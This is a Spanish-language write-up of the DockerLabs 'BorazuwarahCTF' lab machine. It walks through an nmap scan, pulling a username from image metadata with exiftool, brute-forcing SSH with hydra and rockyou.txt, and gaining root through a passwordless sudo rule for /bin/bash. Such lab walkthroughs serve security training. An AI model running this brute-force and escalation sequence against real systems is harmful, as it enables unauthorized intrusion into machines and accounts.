WriteUp de la máquina BorazuwarahCTF
Este WriteUp documenta la solución para la máquina “BorazuwarahCTF” de DockerLabs. A través de varias etapas de reconocimiento, explotación y elevación de privilegios, el objetivo es obtener acceso a la máquina y escalar privilegios para convertirnos en el usuario root.
Resumen:
- Nombre: BorazuwarahCTF
- Sistema Operativo: Linux
- Dificultad: Facil
- Autor: No especificado
- Enlace: DockerLabs
Progreso del WriteUp
- Reconocimiento inicial
- Análisis del servicio
- Fuerza bruta
- Escalada de privilegios
- Aprendizaje
- Comandos
Reconocimiento inicial
El primer paso consiste en iniciar la máquina. Esto se puede lograr ejecutando el siguiente comando, una vez que se haya descargado la máquina:
sudo bash auto_deploy.sh borazuwarahctf.tar
Una vez iniciada la máquina, el script de despliegue me proporciona la dirección IP de la máquina, por lo que procedo a realizar un escaneo de puertos para identificar los servicios disponibles:
nmap 172.17.0.2
El resultado del escaneo de puertos fue:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 12:42 -05
Nmap scan report for 172.17.0.2
Host is up (0.000036s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:42:AC:11:00:02 (Unknown)
Resultado clave: El escaneo de puertos reveló dos servicios importantes:
- Puerto 22: Servicio SSH abierto.
- Puerto 80: Servicio HTTP abierto.
Análisis de servicio
El siguiente paso es explorar el servicio HTTP. Al visitar la página en el puerto 80, encontré una imagen de un huevo sorpresa con el siguiente mensaje: “Te quiero” y el siguiente código HTML:
<html>
<body>
<img src='[imagen.jpeg](http://172.17.0.2/imagen.jpeg)'>
</body>
</html>

Dado que la imagen parece ser el único elemento visible en la página, decidí analizar sus metadatos usando exiftool para encontrar más información:
exiftool descarga.jpeg
El resultado contiene un usuario oculto en los metadatos:
Description : ---------- User: xxxxxxxx ----------
Resultado Clave: Obtuve el nombre de usuario necesario para conectarme a través de SSH.
Fuerza bruta
Con el nombre de usuario identificado, el siguiente paso fue realizar un ataque de fuerza bruta para encontrar la contraseña. Utilicé hydra con el diccionario rockyou.txt:
hydra -l xxxxxxxx -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
El resultado mostró:
[22][ssh] host: 172.17.0.2 login: xxxxxxxx password: xxxxxxxx
Resultado clave: Hydra encontró la contraseña del usuario, permitiendo el acceso por SSH. Procedí a conectarme a la máquina usando SSH:
ssh xxxxxxxx@172.17.0.2
Escalada de privilegios
Estando dentro de la máquina, ejecuté el comando sudo -l para ver qué permisos tenía el usuario y obtuve el siguiente resultado:
sudo -l
Matching Defaults entries for borazuwarah on 61599ead1e0b:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty
User borazuwarah may run the following commands on 61599ead1e0b:
(ALL : ALL) ALL
(ALL) NOPASSWD: /bin/bash
Resultado clave: El usuario tiene permisos para ejecutar /bin/bash como root sin necesidad de contraseña. Ejecuté el siguiente comando para convertirme en root:
sudo /bin/bash
Y con esto, obtuve acceso completo como root.
Aprendizaje
La máquina BorazuwarahCTF me permitió practicar habilidades básicas de reconocimiento y explotación. Los pasos clave incluyen el reconocimiento del servicio HTTP y la extracción de información oculta en los metadatos de una imagen, seguida de la fuerza bruta de un servicio SSH. Finalmente, el acceso sudo sin contraseña me permitió la elevación de privilegios.
Comandos
- Despliegue de la máquina:
sudo bash auto_deploy.sh borazuwarahctf.tar - Escaneo de puertos:
nmap 172.17.0.2 - Análisis de metadatos:
exiftool descarga.jpeg - Ataque de fuerza bruta (SSH):
hydra -l xxxxxxxx -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh - Elevación de privilegios:
sudo /bin/bash